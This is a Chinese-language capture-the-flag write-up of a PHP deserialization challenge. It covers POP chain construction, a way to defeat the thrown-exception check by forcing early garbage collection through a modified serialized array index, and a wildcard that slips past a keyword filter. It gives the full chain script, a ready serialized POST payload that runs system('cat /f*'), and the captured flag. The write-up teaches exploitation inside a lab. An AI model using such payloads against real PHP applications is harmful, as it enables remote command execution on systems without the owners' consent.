打开链接,存在很多个类,很明显是php反序列化漏洞利用,需要构造pop链 ,
关于pop链构造的详细步骤教学,请参考我之前的博客,真的讲得很详细也容易理解:
如果你是刚接触php反序列化利用的题,那么建议先看基础的原理知识:
由于这道题还出现了
throw new Exception("Nope");
这个throw就是GC回收(垃圾回收机制),这里需要绕过它。
首先我们需要知道:
在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。
当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。
我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。
触发垃圾回收机制的方法有:(本质即使对象引用计数归零)
(1)对象被unset()处理时,可以触发。
(2)数组对象为NULL时,可以触发。
我们先正常构造pop链:
关于pop链的构造和标注真的看我之前那篇博客肯定能懂
-
- class Start{
- public $errMsg; // 5 Crypto
- public function __destruct() {
- die($this->errMsg);
- }
- }
-
- class Pwn{
- public $obj; // 2 Web
- public function __invoke(){
- $this->obj->evil();
- }
- public function evil() {
- phpinfo();
- }
- }
-
- class Reverse{
- public $func; // 3 Pwn
- public function __get($var) {
- ($this->func)();
- }
- }
-
- class Web{
- public $func; // 1 system
- public $var; // 1 cat /f*
- public function evil() {
- if(!preg_match("/flag/i",$this->var)){
- ($this->func)($this->var);
- }else{
- echo "Not Flag";
- }
- }
- }
-
- class Crypto{
- public $obj; // 4 Reverse
- public function __toString() {
- $wel = $this->obj->good;
- return "NewStar";
- }
- }
-
- class Misc{
- public function evil() {
- echo "good job but nothing";
- }
- }
-
- $w = new Web();
- $w->func = 'system';
- $w->var = 'cat /f*';
- $p = new Pwn();
- $p->obj = $w;
- $r = new Reverse();
- $r->func = $p;
- $c = new Crypto();
- $c->obj = $r;
- $s = new Start();
- $s->errMsg = $c;
- echo serialize($s);
-
- ?>
我们使用第二中方法(数组对象为NULL)绕过GC回收:
-
- class Start{
- public $errMsg; // 5 Crypto
- public function __destruct() {
- die($this->errMsg);
- }
- }
-
- class Pwn{
- public $obj; // 2 Web
- public function __invoke(){
- $this->obj->evil();
- }
- public function evil() {
- phpinfo();
- }
- }
-
- class Reverse{
- public $func; // 3 Pwn
- public function __get($var) {
- ($this->func)();
- }
- }
-
- class Web{
- public $func; // 1 system
- public $var; // 1 cat /f*
- public function evil() {
- if(!preg_match("/flag/i",$this->var)){
- ($this->func)($this->var);
- }else{
- echo "Not Flag";
- }
- }
- }
-
- class Crypto{
- public $obj; // 4 Reverse
- public function __toString() {
- $wel = $this->obj->good;
- return "NewStar";
- }
- }
-
- class Misc{
- public function evil() {
- echo "good job but nothing";
- }
- }
-
- $w = new Web();
- $w->func = 'system';
- $w->var = 'cat /f*';
- $p = new Pwn();
- $p->obj = $w;
- $r = new Reverse();
- $r->func = $p;
- $c = new Crypto();
- $c->obj = $r;
- $s = new Start();
- $s->errMsg = $c;
-
- $b=array($s,0);
- echo serialize($b);
-
- ?>
运行得到:
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;}
我们将最后的 i:1 替换为 i:0
即:
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;}
构造payload:
post:fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;}
拿到flag
flag{558eb633-8715-4922-8201-f8402343b140}
当然这里保险一点的做法是先执行 ls 命令,然后再使用 ../../../ 进行目录穿越 ,找到flag所在目录,再进行 cat,并且这里过滤了关键字 flag,因此我们使用通配符 * 进行匹配。
只是说一般 flag 都在根目录下,所以我直接 cat /f*。